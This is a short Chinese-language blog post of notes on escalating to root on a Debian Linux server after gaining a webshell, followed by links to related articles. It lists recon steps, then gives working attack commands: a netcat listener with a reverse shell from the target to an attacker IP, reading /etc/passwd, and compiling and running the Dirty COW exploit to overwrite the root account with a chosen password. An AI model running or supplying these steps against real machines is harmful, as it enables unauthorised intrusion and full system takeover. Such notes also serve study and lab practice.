webshell下Linux提权

环境及工具

本地环境,win7,nc.exe

目标机器:Linux std 3.2.0-4-686-pae #1 SMP Debian 3.2.57-3+deb7u2 i686 GNU/Linux

常规思路:

1、检查漏洞系统的操作系统发行版

2、查看内核版本

3、检查可用的用户及当前用户的权限

4、列出SUID文件(常见的Linux错误配置)

5、查看安装的包、程序、运行的服务。过时的版本可能存在漏洞。

笔记

win7 nc监听端口:>nc.exe -vv -lp 1234

目标反向连接:nc x.x.x.x(ip) 1234 -e /bin/sh

cat /etc/passwd 打开/etc/passwd查看管理员用户名

gcc -v 查看是否安装gcc,考虑脏牛提权

poc下载:https://github.com/FireFart/dirtycow

利用gcc编译dirty.c文件,gcc -pthread dirty.c -o dirty -lcrypt

利用编译好的dirty文件,替换root用户,./dirty password(这里是设置的密码)

参考文章

https://blog.csdn.net/bnxf00000/article/details/64906539

http://netsecurity.51cto.com/art/200907/137576.htm

http://www.hacksec.cn/Privilege-upgrade/769.html

https://www.cnblogs.com/hookjoy/p/6612595.html

http://www.52bug.cn/hkjs/3897.html

https://cloud.tencent.com/developer/article/1180102

http://www.saoyu.com/linux/786/

发表评论

邮箱地址不会被公开。 必填项已用*标注